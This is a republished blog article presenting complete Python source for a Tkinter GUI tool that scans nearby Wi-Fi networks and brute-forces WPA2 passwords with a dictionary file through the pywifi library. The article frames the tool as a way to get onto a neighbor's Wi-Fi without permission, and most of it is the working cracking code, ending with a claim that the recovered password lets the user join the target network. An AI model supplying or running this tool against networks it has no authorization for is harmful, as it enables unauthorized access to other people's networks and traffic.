WiFi Password Cracking Tool Using Python and PyWiFi

This article demonstrates how to build a Python GUI tool with Tkinter and the PyWiFi library to scan nearby Wi‑Fi networks, load a password dictionary, and perform brute‑force attempts to discover the correct Wi‑Fi password, including environment setup, code snippets, and execution results.

Top Architect
Top Architect
Top Architect
WiFi Password Cracking Tool Using Python and PyWiFi

The author introduces a practical scenario where a home internet outage prompts the need to access a neighbor's Wi‑Fi using a password‑cracking script written in Python.

Python’s extensive third‑party libraries include pywifi, which provides a convenient API for Wi‑Fi operations; combined with a password dictionary, it enables brute‑force attacks given sufficient patience.

Idea : Iterate over each password in the dictionary for a given SSID, attempting to connect; on failure, disconnect and try the next password until a successful connection is made.

Environment Preparation :

Python 2.7

pywifi module

Password dictionary file

Import Modules : from pywifi import * Dictionary Preparation : Use a text file containing the top 10 weak Wi‑Fi passwords, one per line, which the script reads sequentially.

Full Code (GUI with Tkinter):

# coding:utf-8</code>
<code>from tkinter import *</code>
<code>from tkinter import ttk</code>
<code>import pywifi</code>
<code>from pywifi import const</code>
<code>import time</code>
<code>import tkinter.filedialog</code>
<code>import tkinter.messagebox</code>
<code>class MY_GUI():</code>
<code>    def __init__(self, init_window_name):</code>
<code>        self.init_window_name = init_window_name</code>
<code>        # password file path</code>
<code>        self.get_value = StringVar()</code>
<code>        # Wi‑Fi SSID</code>
<code>        self.get_wifi_value = StringVar()</code>
<code>        # Wi‑Fi password</code>
<code>        self.get_wifimm_value = StringVar()</code>
<code>        self.wifi = pywifi.PyWiFi()</code>
<code>        self.iface = self.wifi.interfaces()[0]</code>
<code>        self.iface.disconnect()</code>
<code>        time.sleep(1)</code>
<code>        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]</code>
<code>    def __str__(self):</code>
<code>        return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())</code>
<code>    def set_init_window(self):</code>
<code>        self.init_window_name.title("WIFI破解工具")</code>
<code>        self.init_window_name.geometry('+500+200')</code>
<code>        labelframe = LabelFrame(width=400, height=200, text="配置")</code>
<code>        labelframe.grid(column=0, row=0, padx=10, pady=10)</code>
<code>        self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)</code>
<code>        self.pojie = Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)</code>
<code>        # ... (UI layout omitted for brevity) ...</code>
<code>    def scans_wifi_list(self):</code>
<code>        print("^_^ 开始扫描附近wifi...")</code>
<code>        self.iface.scan()</code>
<code>        time.sleep(15)</code>
<code>        scanres = self.iface.scan_results()</code>
<code>        self.show_scans_wifi_list(scanres)</code>
<code>        return scanres</code>
<code>    def show_scans_wifi_list(self, scans_res):</code>
<code>        for index, wifi_info in enumerate(scans_res):</code>
<code>            self.wifi_tree.insert("", 'end', values=(index+1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))</code>
<code>    def add_mm_file(self):</code>
<code>        self.filename = tkinter.filedialog.askopenfilename()</code>
<code>        self.get_value.set(self.filename)</code>
<code>    def readPassWord(self):</code>
<code>        self.getFilePath = self.get_value.get()</code>
<code>        self.get_wifissid = self.get_wifi_value.get()</code>
<code>        self.pwdfilehander = open(self.getFilePath, "r", errors="ignore")</code>
<code>        while True:</code>
<code>            try:</code>
<code>                self.pwdStr = self.pwdfilehander.readline()</code>
<code>                if not self.pwdStr:</code>
<code>                    break</code>
<code>                self.bool1 = self.connect(self.pwdStr, self.get_wifissid)</code>
<code>                if self.bool1:</code>
<code>                    self.res = "===正确===  wifi名:%s  匹配密码:%s " % (self.get_wifissid, self.pwdStr)</code>
<code>                    self.get_wifimm_value.set(self.pwdStr)</code>
<code>                    tkinter.messagebox.showinfo('提示', '破解成功!!!')</code>
<code>                    print(self.res)</code>
<code>                    break</code>
<code>                else:</code>
<code>                    self.res = "---错误--- wifi名:%s匹配密码:%s" % (self.get_wifissid, self.pwdStr)</code>
<code>                    print(self.res)</code>
<code>                    time.sleep(3)</code>
<code>            except:</code>
<code>                continue</code>
<code>    def connect(self, pwd_Str, wifi_ssid):</code>
<code>        self.profile = pywifi.Profile()</code>
<code>        self.profile.ssid = wifi_ssid</code>
<code>        self.profile.auth = const.AUTH_ALG_OPEN</code>
<code>        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)</code>
<code>        self.profile.cipher = const.CIPHER_TYPE_CCMP</code>
<code>        self.profile.key = pwd_Str</code>
<code>        self.iface.remove_all_network_profiles()</code>
<code>        self.tmp_profile = self.iface.add_network_profile(self.profile)</code>
<code>        self.iface.connect(self.tmp_profile)</code>
<code>        time.sleep(5)</code>
<code>        if self.iface.status() == const.IFACE_CONNECTED:</code>
<code>            isOK = True</code>
<code>        else:</code>
<code>            isOK = False</code>
<code>        self.iface.disconnect()</code>
<code>        time.sleep(1)</code>
<code>        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]</code>
<code>        return isOK</code>
<code>def gui_start():</code>
<code>    init_window = Tk()</code>
<code>    ui = MY_GUI(init_window)</code>
<code>    ui.set_init_window()</code>
<code>    init_window.mainloop()</code>
<code>gui_start()

The program displays a simple GUI where users can select a Wi‑Fi network, load a password file, and start the cracking process; successful attempts are shown in a message box and printed to the console.

Result : After running the tool, the correct password (if present in the dictionary) is displayed, allowing the user to connect to the target Wi‑Fi network.

Original Source

Signed-in readers can open the original source through BestHub's protected redirect.

Sign in to view source
Republication Notice

This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactadmin@besthub.devand we will review it promptly.

PythonWiFinetwork securityTkinterpassword crackingpywifi
Top Architect
Written by

Top Architect

Top Architect focuses on sharing practical architecture knowledge, covering enterprise, system, website, large‑scale distributed, and high‑availability architectures, plus architecture adjustments using internet technologies. We welcome idea‑driven, sharing‑oriented architects to exchange and learn together.

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.